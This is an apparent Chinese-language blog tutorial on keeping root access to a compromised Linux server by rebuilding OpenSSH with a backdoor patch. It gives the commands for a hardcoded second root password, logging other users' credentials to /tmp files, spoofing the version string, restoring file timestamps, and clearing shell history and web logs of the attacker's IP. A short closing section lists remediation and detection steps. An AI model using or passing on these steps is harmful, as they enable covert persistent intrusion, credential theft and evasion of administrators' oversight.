OpenSSH后門

當(dāng)我們拿到一個服務(wù)器的shell之后,肯定需要維持好我們的權(quán)限,這里我們需要留個后門方便我們進(jìn)出。這里我們不討論提權(quán)的問題,前提我們通過各種方式提權(quán)到root,拿到root之后才是我們留后門的開始。做了個openssh的后門,也就是root雙密碼,管理一個密碼、我們的后門一個密碼,不影響管理的那個密碼。
  這里我們討論兩個Linux,實驗環(huán)境為Centos 7和Ubuntu 16.0.4

0x01 查看版本

ssh -V

Centos 7.0



Ubuntu 16.0.4



有必要的話需要對原ssh配置文件進(jìn)行備份,可以對后期的文件時間進(jìn)行修改:
cp -p /etc/ssh/ssh_config  / etc/ssh/ssh_config.bak
cp -p /etc/ssh/sshd_config  / etc/ssh/sshd_config.bak

0x02 下載SSH配置文件

openssh-5.9p1.tar.gz
openssh-5.9p1.patch.tar.gz
  使用wget進(jìn)行遠(yuǎn)程下載,如果沒有安裝wget,可以安裝可以直接下載openssh源碼,也可以使用菜刀大馬等上傳上去。

Centos:yum -y install wget
Ubuntu:apt-get install wget

0x03 編輯安裝

Centos 7

tar zxvf openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/   復(fù)制patch后門文件到正常openssh里面
patch < sshbd5.9p1.diff



可能遇到的問題patch未安裝

yum -y install patch

Ubuntu 16.0.4

sudo apt-get install openssh-server   #安裝SSH
sudo service ssh start

vim /etc/ssh/sshd_config #設(shè)置root連接ssh

#Authentication:
LoginGraceTime 120
PermitRootLogin prohibit-password
StrictModes yes
改成
#Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes

/etc/init.d/ssh restart   #重啟

編輯安裝Centos 7和Ubuntu 16.0.4過程一樣,就不過多介紹了。

0x04 修改后門密碼和文件記錄

root@localhost openssh-5.9p1# vim includes.h
int secret_ok;
FILE *f;
#define ILOG "/tmp/ilog"  # 記錄登錄到本機的用戶名和密碼
#define OLOG "/tmp/olog"  # 記錄本機登錄到遠(yuǎn)程的用戶名和密碼
#define SECRETPW "warden" # 遠(yuǎn)程連接密碼
#endif /* INCLUDES_H */

可以對后門密碼和記錄文件進(jìn)行修改,在文件前面加上.相當(dāng)于是隱藏文件,也可以換個隱蔽的目錄。修改之后的


root@localhost openssh-5.9p1# vim version.h
/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */
#define SSH_VERSION "OpenSSH_5.3p1"
#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE

可以根據(jù)我們剛才的查看的版本信息進(jìn)行修改,使其版本一致不易被管理員發(fā)現(xiàn)和察覺。

0x05 編譯安裝

Centos 7
首先對ssh里面的幾個key的權(quán)限進(jìn)行修改,否則可能進(jìn)行編譯的時候key不能修改而報錯。

chmod 620 moduli
chmod 600 sshd_config ssh_host_ecdsa_key ssh_host_rsa_key
chmod 644 ssh_config ssh_host_ecdsa_key.pub ssh_host_rsa_key.pub

安裝環(huán)境編譯運行

yum install -y openssl openssl-devel pam-devel zlib zlib-devel
./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
make clean
make && make install
systemctl restart sshd.service

  可以看到我們已經(jīng)編譯成功,我們的OpenSSH后門已經(jīng)設(shè)置成功。使用我們的后門密碼可以正常登陸,以前的密碼也有記錄,實驗成功。


Ubuntu 16.04

安裝環(huán)境編譯運行

apt-get install -y openssl libssl-dev libpam0g-dev
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
make clean
make && make install
/etc/init.d/ssh restart 

  可以看到我們已經(jīng)編譯成功,我們的OpenSSH后門已經(jīng)設(shè)置成功。使用我們的后門密碼可以正常登陸,以前的密碼也有記錄,實驗成功。


0x06 系統(tǒng)優(yōu)化

恢復(fù)新配置文件的日期跟舊文件日期一致對ssh_config和sshd_config新舊文件進(jìn)行內(nèi)容對比,使其配置文件一致,然后在修改文件日期。

touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config

清除操作日志

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

0x07 修復(fù)方案與應(yīng)急響應(yīng)

1)重裝openssh軟件
2)SSH禁止對外開放

應(yīng)急響應(yīng):
1)比對ssh的版本
ssh -V
2)查看ssh配置文件和/usr/sbin/sshd的時間
stat /usr/sbin/sshd
3)strings檢查/usr/sbin/sshd,看是否有郵箱信息
strings可以查看二進(jìn)制文件中的字符串,在應(yīng)急響應(yīng)中是十分有用的。有些sshd后門會通過郵件發(fā)送登錄信息,通過strings /usr/sbin/sshd可以查看到郵箱信息。
4)通過strace監(jiān)控sshd進(jìn)程讀寫文件的操作
一般的sshd后門都會將賬戶密碼記錄到文件,可以通過strace進(jìn)程跟蹤到ssh登錄密碼文件。

ps axu | grep sshd | grep -v grep
root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd
strace -o aa -ff -p 65530
grep open aa* | grep -v -e No -e null -e denied| grep WR
aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容